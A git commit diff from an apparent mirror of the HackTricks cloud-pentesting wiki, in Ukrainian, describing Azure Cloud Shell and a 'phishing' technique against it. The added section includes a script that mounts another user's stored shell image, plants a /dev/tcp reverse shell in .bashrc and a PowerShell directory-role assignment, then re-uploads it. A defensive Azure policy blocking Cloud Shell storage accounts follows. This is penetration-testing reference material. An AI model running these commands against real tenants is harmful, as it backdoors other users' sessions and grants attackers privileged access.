mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-12 21:13:45 -08:00
Translated ['src/pentesting-cloud/azure-security/az-services/az-cloud-sh
This commit is contained in:
@@ -4,26 +4,113 @@
|
||||
|
||||
## Azure Cloud Shell
|
||||
|
||||
**Azure Cloud Shell** - це інтерактивний, автентифікований термінал, доступний через браузер, призначений для управління ресурсами Azure, що пропонує гнучкість роботи як з Bash, так і з PowerShell. Він працює на тимчасовому хості, що діє за сесією, який закривається після 20 хвилин бездіяльності, зберігаючи файли в місці $HOME за допомогою файлового сховища обсягом 5 ГБ. Cloud Shell можна отримати через кілька точок, включаючи портал Azure, shell.azure.com, документацію Azure CLI та PowerShell, мобільний додаток Azure та розширення Azure Account для Visual Studio Code.
|
||||
**Azure Cloud Shell** - це інтерактивний, автентифікований термінал, доступний через браузер, призначений для управління ресурсами Azure, що пропонує гнучкість роботи як з Bash, так і з PowerShell. Він працює на тимчасовому хості, що закривається після 20 хвилин бездіяльності, зберігаючи файли в місці $HOME за допомогою файлового сховища обсягом 5 ГБ. Cloud Shell можна отримати через кілька точок, включаючи портал Azure, shell.azure.com, документацію Azure CLI та PowerShell, мобільний додаток Azure та розширення Azure Account для Visual Studio Code.
|
||||
|
||||
Не існує дозволів, призначених для цього сервісу, тому немає технік підвищення привілеїв. Також немає жодного виду перерахунку.
|
||||
|
||||
### Ключові особливості
|
||||
### Основні функції
|
||||
|
||||
**Середовище**: Azure Cloud Shell забезпечує безпечне середовище, працюючи на Azure Linux, власному дистрибутиві Linux Microsoft, призначеному для хмарної інфраструктури. Усі пакети, включені до репозиторію Azure Linux, внутрішньо компілюються Microsoft для захисту від атак на ланцюг постачання.
|
||||
**Попередньо встановлені інструменти**: Cloud Shell включає в себе комплексний набір попередньо встановлених інструментів, таких як Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git та текстові редактори, такі як vim, nano та emacs. Ці інструменти готові до використання. Щоб перерахувати встановлені пакети та модулі, ви можете використовувати "Get-Module -ListAvailable", "tdnf list" та "pip3 list".
|
||||
**$HOME збереження**: При першому запуску Azure Cloud Shell ви можете використовувати його з або без підключеного облікового запису зберігання. Вибір без підключення зберігання створює епізодичну сесію, де файли видаляються, коли сесія закінчується. Щоб зберегти файли між сесіями, змонтуйте обліковий запис зберігання, який автоматично підключається як **$HOME\clouddrive**, з вашим **$HOME** каталогом, збереженим як файл **.img** в Azure File Share. Однак файли поза $HOME та стани машин не зберігаються. Для безпечного зберігання секретів, таких як SSH ключі, використовуйте Azure Key Vault.
|
||||
**Диск Azure (Azure:)**: PowerShell в Azure Cloud Shell включає диск Azure (Azure:), що дозволяє легко навігувати по ресурсах Azure, таким як Обчислення, Мережа та Сховище, використовуючи команди, схожі на файлову систему. Перейдіть на диск Azure за допомогою cd Azure: і поверніться до свого домашнього каталогу за допомогою cd ~. Ви все ще можете використовувати команди Azure PowerShell для управління ресурсами з будь-якого диска.
|
||||
**Встановлення користувацьких інструментів**: Користувачі, які налаштовують Cloud Shell з обліковим записом зберігання, можуть встановлювати додаткові інструменти, які не потребують прав адміністратора. Ця функція дозволяє подальшу настройку середовища Cloud Shell, даючи можливість користувачам адаптувати свою конфігурацію під свої специфічні потреби.
|
||||
- **Попередньо встановлені інструменти**: Cloud Shell включає в себе комплексний набір попередньо встановлених інструментів, таких як Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git та текстові редактори, такі як vim, nano та emacs. Ці інструменти готові до використання. Щоб перерахувати встановлені пакети та модулі, ви можете використовувати "Get-Module -ListAvailable", "tdnf list" та "pip3 list".
|
||||
- **Диск Azure (Azure:)**: PowerShell в Azure Cloud Shell включає диск Azure (Azure:), що дозволяє легко навігувати ресурсами Azure, такими як Compute, Network та Storage, використовуючи команди, схожі на файлову систему. Перейдіть на диск Azure за допомогою cd Azure: і поверніться до домашнього каталогу за допомогою cd ~. Ви все ще можете використовувати cmdlet Azure PowerShell для управління ресурсами з будь-якого диска.
|
||||
- **Встановлення користувацьких інструментів**: Користувачі, які налаштовують Cloud Shell з обліковим записом зберігання, можуть встановлювати додаткові інструменти, які не потребують прав адміністратора. Ця функція дозволяє подальшу налаштування середовища Cloud Shell, даючи можливість користувачам адаптувати свою конфігурацію до своїх конкретних потреб.
|
||||
- **$HOME збереження**: При першому запуску Azure Cloud Shell ви можете використовувати його з або без підключеного облікового запису зберігання.
|
||||
- Вибір не підключати зберігання створює епізодичну сесію, де файли видаляються, коли сесія закінчується.
|
||||
- Щоб зберегти файли між сесіями, вам надається можливість **підключити обліковий запис зберігання**, який автоматично підключається як `$HOME\clouddrive`, з вашим каталогом `$HOME` **збереженим як .img файл у файловому сховищі.**
|
||||
|
||||
## Посилання
|
||||
### Фішинг у Cloud Shell
|
||||
|
||||
Якщо зловмисник знайде зображення інших користувачів у обліковому записі зберігання, до якого він має доступ на запис і читання, він зможе завантажити зображення, **додати бекдор на bash і PS у нього** та завантажити його назад до облікового запису зберігання, щоб наступного разу, коли користувач отримує доступ до оболонки, **команди будуть автоматично виконані**.
|
||||
|
||||
- **Завантажити, додати бекдор і завантажити зображення:**
|
||||
```bash
|
||||
# Download image
|
||||
mkdir /tmp/phishing_img
|
||||
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>
|
||||
|
||||
# Mount image
|
||||
cd /tmp/phishing_img/.cloudconsole
|
||||
mkdir /tmp/cloudpoison
|
||||
sudo mount acc_username.img /tmp/cloudpoison
|
||||
cd /tmp/cloudpoison
|
||||
sudo mkdir .config
|
||||
sudo mkdir .config/PowerShell
|
||||
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
|
||||
# Bash backdoor
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
|
||||
|
||||
# PS backdoor
|
||||
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
cd /tmp
|
||||
|
||||
sudo umount /tmp/cloudpoison
|
||||
|
||||
# Upload image
|
||||
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
|
||||
```
|
||||
- **Потім, фіште користувача, щоб отримати доступ до https://shell.azure.com/**
|
||||
|
||||
### Знайти та заборонити автоматичні облікові записи зберігання Cloud Shell
|
||||
|
||||
Облікові записи зберігання, створені Cloud Shell, позначені **`ms-resource-usage:azure-cloud-shell`**. Можливо створити політику ресурсів Azure, яка забороняє створення ресурсів з цим тегом.
|
||||
|
||||
Знайдіть всі облікові записи зберігання, створені Cloud Shell, за тегами:
|
||||
```bash
|
||||
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'
|
||||
```
|
||||
Політика, що забороняє створення автоматичних облікових записів зберігання для зберігання в хмарному оболонці на основі тегів:
|
||||
```json
|
||||
{
|
||||
displayName: "Restrict cloud shell storage account creation",
|
||||
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
|
||||
metadata: {
|
||||
category: "Storage",
|
||||
version: "1.0.0"
|
||||
},
|
||||
mode: "All",
|
||||
parameters: {
|
||||
effect: {
|
||||
type: "String",
|
||||
metadata: {
|
||||
displayName: "Effect",
|
||||
description: "Deny, Audit or Disabled the execution of the Policy"
|
||||
},
|
||||
allowedValues: [
|
||||
"Deny",
|
||||
"Audit",
|
||||
"Disabled"
|
||||
],
|
||||
defaultValue: "Audit"
|
||||
}
|
||||
},
|
||||
policyRule: {
|
||||
if: {
|
||||
allOf: [
|
||||
{
|
||||
field: "type",
|
||||
equals: "Microsoft.Storage/storageAccounts"
|
||||
},
|
||||
{
|
||||
field: "tags['ms-resource-usage']",
|
||||
equals: "azure-cloud-shell"
|
||||
}
|
||||
]
|
||||
},
|
||||
then: {
|
||||
effect: "[parameters('effect')]"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
|
||||
|
||||
|
||||
## Збереження
|
||||
## Persistence
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-cloud-shell-persistence.md
|
||||
|
||||
Reference in New Issue
Block a user